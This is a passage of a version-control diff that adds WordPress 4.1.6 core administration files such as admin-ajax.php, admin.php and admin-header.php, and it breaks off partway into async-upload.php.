+		?></a> |
+		<?php endif; ?>
+		<a href="<?php echo esc_url( self_admin_url() ); ?>"><?php
+			is_blog_admin() ? _e( 'Go to Dashboard &rarr; Home' ) : _e( 'Go to Dashboard' ); ?></a>
+	</div>
+</div>
+
+</div>
+
+<script>
+jQuery(document).ready( function($) {
+	$.ajax( 'https://api.wordpress.org/translations/core/1.0/?version=4.1',
+		{ 'type' : 'HEAD' } ).done( function( data, textStatus, jqXHR ) {
+			var count = jqXHR.getResponseHeader( 'X-Translations-Count' );
+			if ( count ) {
+				$( '#translations-count' ).text( count );
+			}
+	});
+});
+</script>
+<?php
+
+include( ABSPATH . 'wp-admin/admin-footer.php' );
+
+// These are strings we may use to describe maintenance/security releases, where we aim for no new strings.
+return;
+
+_n_noop( 'Maintenance Release', 'Maintenance Releases' );
+_n_noop( 'Security Release', 'Security Releases' );
+_n_noop( 'Maintenance and Security Release', 'Maintenance and Security Releases' );
+
+/* translators: 1: WordPress version number. */
+_n_noop( '<strong>Version %1$s</strong> addressed a security issue.',
+         '<strong>Version %1$s</strong> addressed some security issues.' );
+
+/* translators: 1: WordPress version number, 2: plural number of bugs. */
+_n_noop( '<strong>Version %1$s</strong> addressed %2$s bug.',
+         '<strong>Version %1$s</strong> addressed %2$s bugs.' );
+
+/* translators: 1: WordPress version number, 2: plural number of bugs. Singular security issue. */
+_n_noop( '<strong>Version %1$s</strong> addressed a security issue and fixed %2$s bug.',
+         '<strong>Version %1$s</strong> addressed a security issue and fixed %2$s bugs.' );
+
+/* translators: 1: WordPress version number, 2: plural number of bugs. More than one security issue. */
+_n_noop( '<strong>Version %1$s</strong> addressed some security issues and fixed %2$s bug.',
+         '<strong>Version %1$s</strong> addressed some security issues and fixed %2$s bugs.' );
+
+__( 'For more information, see <a href="%s">the release notes</a>.' );
Index: /tags/4.1.6/src/wp-admin/admin-ajax.php
===================================================================
--- /tags/4.1.6/src/wp-admin/admin-ajax.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/admin-ajax.php	(revision 33402)
@@ -0,0 +1,98 @@
+<?php
+/**
+ * WordPress AJAX Process Execution.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ *
+ * @link http://codex.wordpress.org/AJAX_in_Plugins
+ */
+
+/**
+ * Executing AJAX process.
+ *
+ * @since 2.1.0
+ */
+define( 'DOING_AJAX', true );
+if ( ! defined( 'WP_ADMIN' ) ) {
+	define( 'WP_ADMIN', true );
+}
+
+/** Load WordPress Bootstrap */
+require_once( dirname( dirname( __FILE__ ) ) . '/wp-load.php' );
+
+/** Allow for cross-domain requests (from the frontend). */
+send_origin_headers();
+
+// Require an action parameter
+if ( empty( $_REQUEST['action'] ) )
+	die( '0' );
+
+/** Load WordPress Administration APIs */
+require_once( ABSPATH . 'wp-admin/includes/admin.php' );
+
+/** Load Ajax Handlers for WordPress Core */
+require_once( ABSPATH . 'wp-admin/includes/ajax-actions.php' );
+
+@header( 'Content-Type: text/html; charset=' . get_option( 'blog_charset' ) );
+@header( 'X-Robots-Tag: noindex' );
+
+send_nosniff_header();
+nocache_headers();
+
+/** This action is documented in wp-admin/admin.php */
+do_action( 'admin_init' );
+
+$core_actions_get = array(
+	'fetch-list', 'ajax-tag-search', 'wp-compression-test', 'imgedit-preview', 'oembed-cache',
+	'autocomplete-user', 'dashboard-widgets', 'logged-in',
+);
+
+$core_actions_post = array(
+	'oembed-cache', 'image-editor', 'delete-comment', 'delete-tag', 'delete-link',
+	'delete-meta', 'delete-post', 'trash-post', 'untrash-post', 'delete-page', 'dim-comment',
+	'add-link-category', 'add-tag', 'get-tagcloud', 'get-comments', 'replyto-comment',
+	'edit-comment', 'add-menu-item', 'add-meta', 'add-user', 'closed-postboxes',
+	'hidden-columns', 'update-welcome-panel', 'menu-get-metabox', 'wp-link-ajax',
+	'menu-locations-save', 'menu-quick-search', 'meta-box-order', 'get-permalink',
+	'sample-permalink', 'inline-save', 'inline-save-tax', 'find_posts', 'widgets-order',
+	'save-widget', 'set-post-thumbnail', 'date_format', 'time_format', 'wp-fullscreen-save-post',
+	'wp-remove-post-lock', 'dismiss-wp-pointer', 'upload-attachment', 'get-attachment',
+	'query-attachments', 'save-attachment', 'save-attachment-compat', 'send-link-to-editor',
+	'send-attachment-to-editor', 'save-attachment-order', 'heartbeat', 'get-revision-diffs',
+	'save-user-color-scheme', 'update-widget', 'query-themes', 'parse-embed', 'set-attachment-thumbnail',
+	'parse-media-shortcode', 'destroy-sessions'
+);
+
+// Register core Ajax calls.
+if ( ! empty( $_GET['action'] ) && in_array( $_GET['action'], $core_actions_get ) )
+	add_action( 'wp_ajax_' . $_GET['action'], 'wp_ajax_' . str_replace( '-', '_', $_GET['action'] ), 1 );
+
+if ( ! empty( $_POST['action'] ) && in_array( $_POST['action'], $core_actions_post ) )
+	add_action( 'wp_ajax_' . $_POST['action'], 'wp_ajax_' . str_replace( '-', '_', $_POST['action'] ), 1 );
+
+add_action( 'wp_ajax_nopriv_heartbeat', 'wp_ajax_nopriv_heartbeat', 1 );
+
+if ( is_user_logged_in() ) {
+	/**
+	 * Fires authenticated AJAX actions for logged-in users.
+	 *
+	 * The dynamic portion of the hook name, `$_REQUEST['action']`,
+	 * refers to the name of the AJAX action callback being fired.
+	 *
+	 * @since 2.1.0
+	 */
+	do_action( 'wp_ajax_' . $_REQUEST['action'] );
+} else {
+	/**
+	 * Fires non-authenticated AJAX actions for logged-out users.
+	 *
+	 * The dynamic portion of the hook name, `$_REQUEST['action']`,
+	 * refers to the name of the AJAX action callback being fired.
+	 *
+	 * @since 2.8.0
+	 */
+	do_action( 'wp_ajax_nopriv_' . $_REQUEST['action'] );
+}
+// Default status
+die( '0' );
Index: /tags/4.1.6/src/wp-admin/admin-footer.php
===================================================================
--- /tags/4.1.6/src/wp-admin/admin-footer.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/admin-footer.php	(revision 33402)
@@ -0,0 +1,99 @@
+<?php
+/**
+ * WordPress Administration Template Footer
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+// don't load directly
+if ( !defined('ABSPATH') )
+	die('-1');
+?>
+
+<div class="clear"></div></div><!-- wpbody-content -->
+<div class="clear"></div></div><!-- wpbody -->
+<div class="clear"></div></div><!-- wpcontent -->
+
+<div id="wpfooter">
+	<?php
+	/**
+	 * Fires after the opening tag for the admin footer.
+	 *
+	 * @since 2.5.0
+	 */
+	do_action( 'in_admin_footer' );
+	?>
+	<p id="footer-left" class="alignleft">
+		<?php
+		$text = sprintf( __( 'Thank you for creating with <a href="%s">WordPress</a>.' ), __( 'https://wordpress.org/' ) );
+		/**
+		 * Filter the "Thank you" text displayed in the admin footer.
+		 *
+		 * @since 2.8.0
+		 *
+		 * @param string $text The content that will be printed.
+		 */
+		echo apply_filters( 'admin_footer_text', '<span id="footer-thankyou">' . $text . '</span>' );
+		?>
+	</p>
+	<p id="footer-upgrade" class="alignright">
+		<?php
+		/**
+		 * Filter the version/update text displayed in the admin footer.
+		 *
+		 * WordPress prints the current version and update information,
+		 * using core_update_footer() at priority 10.
+		 *
+		 * @since 2.3.0
+		 *
+		 * @see core_update_footer()
+		 *
+		 * @param string $content The content that will be printed.
+		 */
+		echo apply_filters( 'update_footer', '' );
+		?>
+	</p>
+	<div class="clear"></div>
+</div>
+<?php
+/**
+ * Print scripts or data before the default footer scripts.
+ *
+ * @since 1.2.0
+ *
+ * @param string $data The data to print.
+ */
+do_action( 'admin_footer', '' );
+
+/**
+ * Prints any scripts and data queued for the footer.
+ *
+ * @since 2.8.0
+ */
+do_action( 'admin_print_footer_scripts' );
+
+/**
+ * Print scripts or data after the default footer scripts.
+ *
+ * The dynamic portion of the hook name, `$GLOBALS['hook_suffix']`,
+ * refers to the global hook suffix of the current page.
+ *
+ * @since 2.8.0
+ *
+ * @param string $hook_suffix The current admin page.
+ */
+do_action( "admin_footer-" . $GLOBALS['hook_suffix'] );
+
+// get_site_option() won't exist when auto upgrading from <= 2.7
+if ( function_exists('get_site_option') ) {
+	if ( false === get_site_option('can_compress_scripts') )
+		compression_test();
+}
+
+?>
+
+<div class="clear"></div></div><!-- wpwrap -->
+<script type="text/javascript">if(typeof wpOnload=='function')wpOnload();</script>
+</body>
+</html>
Index: /tags/4.1.6/src/wp-admin/admin-functions.php
===================================================================
--- /tags/4.1.6/src/wp-admin/admin-functions.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/admin-functions.php	(revision 33402)
@@ -0,0 +1,15 @@
+<?php
+/**
+ * Administration Functions
+ *
+ * This file is deprecated, use 'wp-admin/includes/admin.php' instead.
+ *
+ * @deprecated 2.5.0
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+_deprecated_file( basename(__FILE__), '2.5', 'wp-admin/includes/admin.php' );
+
+/** WordPress Administration API: Includes all Administration functions. */
+require_once(ABSPATH . 'wp-admin/includes/admin.php');
Index: /tags/4.1.6/src/wp-admin/admin-header.php
===================================================================
--- /tags/4.1.6/src/wp-admin/admin-header.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/admin-header.php	(revision 33402)
@@ -0,0 +1,250 @@
+<?php
+/**
+ * WordPress Administration Template Header
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+@header('Content-Type: ' . get_option('html_type') . '; charset=' . get_option('blog_charset'));
+if ( ! defined( 'WP_ADMIN' ) )
+	require_once( dirname( __FILE__ ) . '/admin.php' );
+
+// In case admin-header.php is included in a function.
+global $title, $hook_suffix, $current_screen, $wp_locale, $pagenow, $wp_version,
+	$update_title, $total_update_count, $parent_file;
+
+// Catch plugins that include admin-header.php before admin.php completes.
+if ( empty( $current_screen ) )
+	set_current_screen();
+
+get_admin_page_title();
+$title = esc_html( strip_tags( $title ) );
+
+if ( is_network_admin() )
+	$admin_title = sprintf( __( 'Network Admin: %s' ), esc_html( get_current_site()->site_name ) );
+elseif ( is_user_admin() )
+	$admin_title = sprintf( __( 'Global Dashboard: %s' ), esc_html( get_current_site()->site_name ) );
+else
+	$admin_title = get_bloginfo( 'name' );
+
+if ( $admin_title == $title )
+	$admin_title = sprintf( __( '%1$s &#8212; WordPress' ), $title );
+else
+	$admin_title = sprintf( __( '%1$s &lsaquo; %2$s &#8212; WordPress' ), $title, $admin_title );
+
+/**
+ * Filter the title tag content for an admin page.
+ *
+ * @since 3.1.0
+ *
+ * @param string $admin_title The page title, with extra context added.
+ * @param string $title       The original page title.
+ */
+$admin_title = apply_filters( 'admin_title', $admin_title, $title );
+
+wp_user_settings();
+
+_wp_admin_html_begin();
+?>
+<title><?php echo $admin_title; ?></title>
+<?php
+
+wp_enqueue_style( 'colors' );
+wp_enqueue_style( 'ie' );
+wp_enqueue_script('utils');
+wp_enqueue_script( 'svg-painter' );
+
+$admin_body_class = preg_replace('/[^a-z0-9_-]+/i', '-', $hook_suffix);
+?>
+<script type="text/javascript">
+addLoadEvent = function(func){if(typeof jQuery!="undefined")jQuery(document).ready(func);else if(typeof wpOnload!='function'){wpOnload=func;}else{var oldonload=wpOnload;wpOnload=function(){oldonload();func();}}};
+var ajaxurl = '<?php echo admin_url( 'admin-ajax.php', 'relative' ); ?>',
+	pagenow = '<?php echo $current_screen->id; ?>',
+	typenow = '<?php echo $current_screen->post_type; ?>',
+	adminpage = '<?php echo $admin_body_class; ?>',
+	thousandsSeparator = '<?php echo addslashes( $wp_locale->number_format['thousands_sep'] ); ?>',
+	decimalPoint = '<?php echo addslashes( $wp_locale->number_format['decimal_point'] ); ?>',
+	isRtl = <?php echo (int) is_rtl(); ?>;
+</script>
+<meta name="viewport" content="width=device-width,initial-scale=1.0">
+<?php
+
+/**
+ * Enqueue scripts for all admin pages.
+ *
+ * @since 2.8.0
+ *
+ * @param string $hook_suffix The current admin page.
+ */
+do_action( 'admin_enqueue_scripts', $hook_suffix );
+
+/**
+ * Fires when styles are printed for a specific admin page based on $hook_suffix.
+ *
+ * @since 2.6.0
+ */
+do_action( "admin_print_styles-$hook_suffix" );
+
+/**
+ * Fires when styles are printed for all admin pages.
+ *
+ * @since 2.6.0
+ */
+do_action( 'admin_print_styles' );
+
+/**
+ * Fires when scripts are printed for a specific admin page based on $hook_suffix.
+ *
+ * @since 2.1.0
+ */
+do_action( "admin_print_scripts-$hook_suffix" );
+
+/**
+ * Fires when scripts are printed for all admin pages.
+ *
+ * @since 2.1.0
+ */
+do_action( 'admin_print_scripts' );
+
+/**
+ * Fires in head section for a specific admin page.
+ *
+ * The dynamic portion of the hook, `$hook_suffix`, refers to the hook suffix
+ * for the admin page.
+ *
+ * @since 2.1.0
+ */
+do_action( "admin_head-$hook_suffix" );
+
+/**
+ * Fires in head section for all admin pages.
+ *
+ * @since 2.1.0
+ */
+do_action( 'admin_head' );
+
+if ( get_user_setting('mfold') == 'f' )
+	$admin_body_class .= ' folded';
+
+if ( !get_user_setting('unfold') )
+	$admin_body_class .= ' auto-fold';
+
+if ( is_admin_bar_showing() )
+	$admin_body_class .= ' admin-bar';
+
+if ( is_rtl() )
+	$admin_body_class .= ' rtl';
+
+if ( $current_screen->post_type )
+	$admin_body_class .= ' post-type-' . $current_screen->post_type;
+
+if ( $current_screen->taxonomy )
+	$admin_body_class .= ' taxonomy-' . $current_screen->taxonomy;
+
+$admin_body_class .= ' branch-' . str_replace( array( '.', ',' ), '-', floatval( $wp_version ) );
+$admin_body_class .= ' version-' . str_replace( '.', '-', preg_replace( '/^([.0-9]+).*/', '$1', $wp_version ) );
+$admin_body_class .= ' admin-color-' . sanitize_html_class( get_user_option( 'admin_color' ), 'fresh' );
+$admin_body_class .= ' locale-' . sanitize_html_class( strtolower( str_replace( '_', '-', get_locale() ) ) );
+
+if ( wp_is_mobile() )
+	$admin_body_class .= ' mobile';
+
+if ( is_multisite() )
+	$admin_body_class .= ' multisite';
+
+if ( is_network_admin() )
+	$admin_body_class .= ' network-admin';
+
+$admin_body_class .= ' no-customize-support no-svg';
+
+?>
+</head>
+<?php
+/**
+ * Filter the CSS classes for the body tag in the admin.
+ *
+ * This filter differs from the {@see 'post_class'} and {@see 'body_class'} filters
+ * in two important ways:
+ *
+ * 1. `$classes` is a space-separated string of class names instead of an array.
+ * 2. Not all core admin classes are filterable, notably: wp-admin, wp-core-ui,
+ *    and no-js cannot be removed.
+ *
+ * @since 2.3.0
+ *
+ * @param string $classes Space-separated list of CSS classes.
+ */
+$admin_body_classes = apply_filters( 'admin_body_class', '' );
+?>
+<body class="wp-admin wp-core-ui no-js <?php echo $admin_body_classes . ' ' . $admin_body_class; ?>">
+<script type="text/javascript">
+	document.body.className = document.body.className.replace('no-js','js');
+</script>
+
+<?php
+// Make sure the customize body classes are correct as early as possible.
+if ( current_user_can( 'customize' ) ) {
+	wp_customize_support_script();
+}
+?>
+
+<div id="wpwrap">
+<a tabindex="1" href="#wpbody-content" class="screen-reader-shortcut"><?php _e('Skip to main content'); ?></a>
+<?php require(ABSPATH . 'wp-admin/menu-header.php'); ?>
+<div id="wpcontent">
+
+<?php
+/**
+ * Fires at the beginning of the content section in an admin page.
+ *
+ * @since 3.0.0
+ */
+do_action( 'in_admin_header' );
+?>
+
+<div id="wpbody">
+<?php
+unset($title_class, $blog_name, $total_update_count, $update_title);
+
+$current_screen->set_parentage( $parent_file );
+
+?>
+
+<div id="wpbody-content" aria-label="<?php esc_attr_e('Main content'); ?>" tabindex="0">
+<?php
+
+$current_screen->render_screen_meta();
+
+if ( is_network_admin() ) {
+	/**
+	 * Print network admin screen notices.
+	 *
+	 * @since 3.1.0
+	 */
+	do_action( 'network_admin_notices' );
+} elseif ( is_user_admin() ) {
+	/**
+	 * Print user admin screen notices.
+	 *
+	 * @since 3.1.0
+	 */
+	do_action( 'user_admin_notices' );
+} else {
+	/**
+	 * Print admin screen notices.
+	 *
+	 * @since 3.1.0
+	 */
+	do_action( 'admin_notices' );
+}
+
+/**
+ * Print generic admin screen notices.
+ *
+ * @since 3.1.0
+ */
+do_action( 'all_admin_notices' );
+
+if ( $parent_file == 'options-general.php' )
+	require(ABSPATH . 'wp-admin/options-head.php');
Index: /tags/4.1.6/src/wp-admin/admin-post.php
===================================================================
--- /tags/4.1.6/src/wp-admin/admin-post.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/admin-post.php	(revision 33402)
@@ -0,0 +1,71 @@
+<?php
+/**
+ * WordPress Generic Request (POST/GET) Handler
+ *
+ * Intended for form submission handling in themes and plugins.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** We are located in WordPress Administration Screens */
+if ( ! defined( 'WP_ADMIN' ) ) {
+	define( 'WP_ADMIN', true );
+}
+
+if ( defined('ABSPATH') )
+	require_once(ABSPATH . 'wp-load.php');
+else
+	require_once( dirname( dirname( __FILE__ ) ) . '/wp-load.php' );
+
+/** Allow for cross-domain requests (from the frontend). */
+send_origin_headers();
+
+require_once(ABSPATH . 'wp-admin/includes/admin.php');
+
+nocache_headers();
+
+/** This action is documented in wp-admin/admin.php */
+do_action( 'admin_init' );
+
+$action = empty( $_REQUEST['action'] ) ? '' : $_REQUEST['action'];
+
+if ( ! wp_validate_auth_cookie() ) {
+	if ( empty( $action ) ) {
+		/**
+		 * Fires on a non-authenticated admin post request where no action was supplied.
+		 *
+		 * @since 2.6.0
+		 */
+		do_action( 'admin_post_nopriv' );
+	} else {
+		/**
+		 * Fires on a non-authenticated admin post request for the given action.
+		 *
+		 * The dynamic portion of the hook name, `$action`, refers to the given
+		 * request action.
+		 *
+		 * @since 2.6.0
+		 */
+		do_action( "admin_post_nopriv_{$action}" );
+	}
+} else {
+	if ( empty( $action ) ) {
+		/**
+		 * Fires on an authenticated admin post request where no action was supplied.
+		 *
+		 * @since 2.6.0
+		 */
+		do_action( 'admin_post' );
+	} else {
+		/**
+		 * Fires on an authenticated admin post request for the given action.
+		 *
+		 * The dynamic portion of the hook name, `$action`, refers to the given
+		 * request action.
+		 *
+		 * @since 2.6.0
+		 */
+		do_action( "admin_post_{$action}" );
+	}
+}
Index: /tags/4.1.6/src/wp-admin/admin.php
===================================================================
--- /tags/4.1.6/src/wp-admin/admin.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/admin.php	(revision 33402)
@@ -0,0 +1,347 @@
+<?php
+/**
+ * WordPress Administration Bootstrap
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/**
+ * In WordPress Administration Screens
+ *
+ * @since 2.3.2
+ */
+if ( ! defined( 'WP_ADMIN' ) ) {
+	define( 'WP_ADMIN', true );
+}
+
+if ( ! defined('WP_NETWORK_ADMIN') )
+	define('WP_NETWORK_ADMIN', false);
+
+if ( ! defined('WP_USER_ADMIN') )
+	define('WP_USER_ADMIN', false);
+
+if ( ! WP_NETWORK_ADMIN && ! WP_USER_ADMIN ) {
+	define('WP_BLOG_ADMIN', true);
+}
+
+if ( isset($_GET['import']) && !defined('WP_LOAD_IMPORTERS') )
+	define('WP_LOAD_IMPORTERS', true);
+
+require_once(dirname(dirname(__FILE__)) . '/wp-load.php');
+
+nocache_headers();
+
+if ( get_option('db_upgraded') ) {
+	flush_rewrite_rules();
+	update_option( 'db_upgraded',  false );
+
+	/**
+	 * Fires on the next page load after a successful DB upgrade.
+	 *
+	 * @since 2.8.0
+	 */
+	do_action( 'after_db_upgrade' );
+} elseif ( get_option('db_version') != $wp_db_version && empty($_POST) ) {
+	if ( !is_multisite() ) {
+		wp_redirect( admin_url( 'upgrade.php?_wp_http_referer=' . urlencode( wp_unslash( $_SERVER['REQUEST_URI'] ) ) ) );
+		exit;
+
+	/**
+	 * Filter whether to attempt to perform the multisite DB upgrade routine.
+	 *
+	 * In single site, the user would be redirected to wp-admin/upgrade.php.
+	 * In multisite, the DB upgrade routine is automatically fired, but only
+	 * when this filter returns true.
+	 *
+	 * If the network is 50 sites or less, it will run every time. Otherwise,
+	 * it will throttle itself to reduce load.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param bool true Whether to perform the Multisite upgrade routine. Default true.
+	 */
+	} elseif ( apply_filters( 'do_mu_upgrade', true ) ) {
+		$c = get_blog_count();
+		// If 50 or fewer sites, run every time. Else, run "about ten percent" of the time. Shh, don't check that math.
+		if ( $c <= 50 || ( $c > 50 && mt_rand( 0, (int)( $c / 50 ) ) == 1 ) ) {
+			require_once( ABSPATH . WPINC . '/http.php' );
+			$response = wp_remote_get( admin_url( 'upgrade.php?step=1' ), array( 'timeout' => 120, 'httpversion' => '1.1' ) );
+			/** This action is documented in wp-admin/network/upgrade.php */
+			do_action( 'after_mu_upgrade', $response );
+			unset($response);
+		}
+		unset($c);
+	}
+}
+
+require_once(ABSPATH . 'wp-admin/includes/admin.php');
+
+auth_redirect();
+
+// Schedule trash collection
+if ( !wp_next_scheduled('wp_scheduled_delete') && !defined('WP_INSTALLING') )
+	wp_schedule_event(time(), 'daily', 'wp_scheduled_delete');
+
+set_screen_options();
+
+$date_format = get_option('date_format');
+$time_format = get_option('time_format');
+
+wp_enqueue_script( 'common' );
+
+$editing = false;
+
+if ( isset($_GET['page']) ) {
+	$plugin_page = wp_unslash( $_GET['page'] );
+	$plugin_page = plugin_basename($plugin_page);
+}
+
+if ( isset( $_REQUEST['post_type'] ) && post_type_exists( $_REQUEST['post_type'] ) )
+	$typenow = $_REQUEST['post_type'];
+else
+	$typenow = '';
+
+if ( isset( $_REQUEST['taxonomy'] ) && taxonomy_exists( $_REQUEST['taxonomy'] ) )
+	$taxnow = $_REQUEST['taxonomy'];
+else
+	$taxnow = '';
+
+if ( WP_NETWORK_ADMIN )
+	require(ABSPATH . 'wp-admin/network/menu.php');
+elseif ( WP_USER_ADMIN )
+	require(ABSPATH . 'wp-admin/user/menu.php');
+else
+	require(ABSPATH . 'wp-admin/menu.php');
+
+if ( current_user_can( 'manage_options' ) ) {
+	/**
+	 * Filter the maximum memory limit available for administration screens.
+	 *
+	 * This only applies to administrators, who may require more memory for tasks like updates.
+	 * Memory limits when processing images (uploaded or edited by users of any role) are
+	 * handled separately.
+	 *
+	 * The WP_MAX_MEMORY_LIMIT constant specifically defines the maximum memory limit available
+	 * when in the administration back-end. The default is 256M, or 256 megabytes of memory.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param string 'WP_MAX_MEMORY_LIMIT' The maximum WordPress memory limit. Default 256M.
+	 */
+	@ini_set( 'memory_limit', apply_filters( 'admin_memory_limit', WP_MAX_MEMORY_LIMIT ) );
+}
+
+/**
+ * Fires as an admin screen or script is being initialized.
+ *
+ * Note, this does not just run on user-facing admin screens.
+ * It runs on admin-ajax.php and admin-post.php as well.
+ *
+ * This is roughly analgous to the more general 'init' hook, which fires earlier.
+ *
+ * @since 2.5.0
+ */
+do_action( 'admin_init' );
+
+if ( isset($plugin_page) ) {
+	if ( !empty($typenow) )
+		$the_parent = $pagenow . '?post_type=' . $typenow;
+	else
+		$the_parent = $pagenow;
+	if ( ! $page_hook = get_plugin_page_hook($plugin_page, $the_parent) ) {
+		$page_hook = get_plugin_page_hook($plugin_page, $plugin_page);
+
+		// Backwards compatibility for plugins using add_management_page().
+		if ( empty( $page_hook ) && 'edit.php' == $pagenow && '' != get_plugin_page_hook($plugin_page, 'tools.php') ) {
+			// There could be plugin specific params on the URL, so we need the whole query string
+			if ( !empty($_SERVER[ 'QUERY_STRING' ]) )
+				$query_string = $_SERVER[ 'QUERY_STRING' ];
+			else
+				$query_string = 'page=' . $plugin_page;
+			wp_redirect( admin_url('tools.php?' . $query_string) );
+			exit;
+		}
+	}
+	unset($the_parent);
+}
+
+$hook_suffix = '';
+if ( isset($page_hook) )
+	$hook_suffix = $page_hook;
+else if ( isset($plugin_page) )
+	$hook_suffix = $plugin_page;
+else if ( isset($pagenow) )
+	$hook_suffix = $pagenow;
+
+set_current_screen();
+
+// Handle plugin admin pages.
+if ( isset($plugin_page) ) {
+	if ( $page_hook ) {
+		/**
+		 * Fires before a particular screen is loaded.
+		 *
+		 * The load-* hook fires in a number of contexts. This hook is for plugin screens
+		 * where a callback is provided when the screen is registered.
+		 *
+		 * The dynamic portion of the hook name, `$page_hook`, refers to a mixture of plugin
+		 * page information including:
+		 * 1. The page type. If the plugin page is registered as a submenu page, such as for
+		 *    Settings, the page type would be 'settings'. Otherwise the type is 'toplevel'.
+		 * 2. A separator of '_page_'.
+		 * 3. The plugin basename minus the file extension.
+		 *
+		 * Together, the three parts form the `$page_hook`. Citing the example above,
+		 * the hook name used would be 'load-settings_page_pluginbasename'.
+		 *
+		 * @see get_plugin_page_hook()
+		 *
+		 * @since 2.1.0
+		 */
+		do_action( 'load-' . $page_hook );
+		if (! isset($_GET['noheader']))
+			require_once(ABSPATH . 'wp-admin/admin-header.php');
+
+		/**
+		 * Used to call the registered callback for a plugin screen.
+		 *
+		 * @internal
+		 * @since 1.5.0
+		 */
+		do_action( $page_hook );
+	} else {
+		if ( validate_file($plugin_page) )
+			wp_die(__('Invalid plugin page'));
+
+		if ( !( file_exists(WP_PLUGIN_DIR . "/$plugin_page") && is_file(WP_PLUGIN_DIR . "/$plugin_page") ) && !( file_exists(WPMU_PLUGIN_DIR . "/$plugin_page") && is_file(WPMU_PLUGIN_DIR . "/$plugin_page") ) )
+			wp_die(sprintf(__('Cannot load %s.'), htmlentities($plugin_page)));
+
+		/**
+		 * Fires before a particular screen is loaded.
+		 *
+		 * The load-* hook fires in a number of contexts. This hook is for plugin screens
+		 * where the file to load is directly included, rather than the use of a function.
+		 *
+		 * The dynamic portion of the hook name, `$plugin_page`, refers to the plugin basename.
+		 *
+		 * @see plugin_basename()
+		 *
+		 * @since 1.5.0
+		 */
+		do_action( 'load-' . $plugin_page );
+
+		if ( !isset($_GET['noheader']))
+			require_once(ABSPATH . 'wp-admin/admin-header.php');
+
+		if ( file_exists(WPMU_PLUGIN_DIR . "/$plugin_page") )
+			include(WPMU_PLUGIN_DIR . "/$plugin_page");
+		else
+			include(WP_PLUGIN_DIR . "/$plugin_page");
+	}
+
+	include(ABSPATH . 'wp-admin/admin-footer.php');
+
+	exit();
+} else if (isset($_GET['import'])) {
+
+	$importer = $_GET['import'];
+
+	if ( ! current_user_can('import') )
+		wp_die(__('You are not allowed to import.'));
+
+	if ( validate_file($importer) ) {
+		wp_redirect( admin_url( 'import.php?invalid=' . $importer ) );
+		exit;
+	}
+
+	if ( ! isset($wp_importers[$importer]) || ! is_callable($wp_importers[$importer][2]) ) {
+		wp_redirect( admin_url( 'import.php?invalid=' . $importer ) );
+		exit;
+	}
+
+	/**
+	 * Fires before an importer screen is loaded.
+	 *
+	 * The dynamic portion of the hook name, `$importer`, refers to the importer slug.
+	 *
+	 * @since 3.5.0
+	 */
+	do_action( 'load-importer-' . $importer );
+
+	$parent_file = 'tools.php';
+	$submenu_file = 'import.php';
+	$title = __('Import');
+
+	if (! isset($_GET['noheader']))
+		require_once(ABSPATH . 'wp-admin/admin-header.php');
+
+	require_once(ABSPATH . 'wp-admin/includes/upgrade.php');
+
+	define('WP_IMPORTING', true);
+
+	/**
+	 * Whether to filter imported data through kses on import.
+	 *
+	 * Multisite uses this hook to filter all data through kses by default,
+	 * as a super administrator may be assisting an untrusted user.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param bool false Whether to force data to be filtered through kses. Default false.
+	 */
+	if ( apply_filters( 'force_filtered_html_on_import', false ) ) {
+		kses_init_filters();  // Always filter imported data with kses on multisite.
+	}
+
+	call_user_func($wp_importers[$importer][2]);
+
+	include(ABSPATH . 'wp-admin/admin-footer.php');
+
+	// Make sure rules are flushed
+	flush_rewrite_rules(false);
+
+	exit();
+} else {
+	/**
+	 * Fires before a particular screen is loaded.
+	 *
+	 * The load-* hook fires in a number of contexts. This hook is for core screens.
+	 *
+	 * The dynamic portion of the hook name, `$pagenow`, is a global variable
+	 * referring to the filename of the current page, such as 'admin.php',
+	 * 'post-new.php' etc. A complete hook for the latter would be
+	 * 'load-post-new.php'.
+	 *
+	 * @since 2.1.0
+	 */
+	do_action( 'load-' . $pagenow );
+
+	/*
+	 * The following hooks are fired to ensure backward compatibility.
+	 * In all other cases, 'load-' . $pagenow should be used instead.
+	 */
+	if ( $typenow == 'page' ) {
+		if ( $pagenow == 'post-new.php' )
+			do_action( 'load-page-new.php' );
+		elseif ( $pagenow == 'post.php' )
+			do_action( 'load-page.php' );
+	}  elseif ( $pagenow == 'edit-tags.php' ) {
+		if ( $taxnow == 'category' )
+			do_action( 'load-categories.php' );
+		elseif ( $taxnow == 'link_category' )
+			do_action( 'load-edit-link-categories.php' );
+	}
+}
+
+if ( ! empty( $_REQUEST['action'] ) ) {
+	/**
+	 * Fires when an 'action' request variable is sent.
+	 *
+	 * The dynamic portion of the hook name, `$_REQUEST['action']`,
+	 * refers to the action derived from the `GET` or `POST` request.
+	 *
+	 * @since 2.6.0
+	 */
+	do_action( 'admin_action_' . $_REQUEST['action'] );
+}
Index: /tags/4.1.6/src/wp-admin/async-upload.php
===================================================================
--- /tags/4.1.6/src/wp-admin/async-upload.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/async-upload.php	(revision 33402)
@@ -0,0 +1,115 @@
+<?php
+/**
+ * Server-side file upload handler from wp-plupload, swfupload or other asynchronous upload methods.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+if ( isset( $_REQUEST['action'] ) && 'upload-attachment' === $_REQUEST['action'] ) {
+	define( 'DOING_AJAX', true );
+}
+
+if ( ! defined( 'WP_ADMIN' ) ) {
+	define( 'WP_ADMIN', true );
+}
+
+if ( defined('ABSPATH') )
+	require_once(ABSPATH . 'wp-load.php');
+else
+	require_once( dirname( dirname( __FILE__ ) ) . '/wp-load.php' );
+
+if ( ! ( isset( $_REQUEST['action'] ) && 'upload-attachment' == $_REQUEST['action'] ) ) {
+	// Flash often fails to send cookies with the POST or upload, so we need to pass it in GET or POST instead
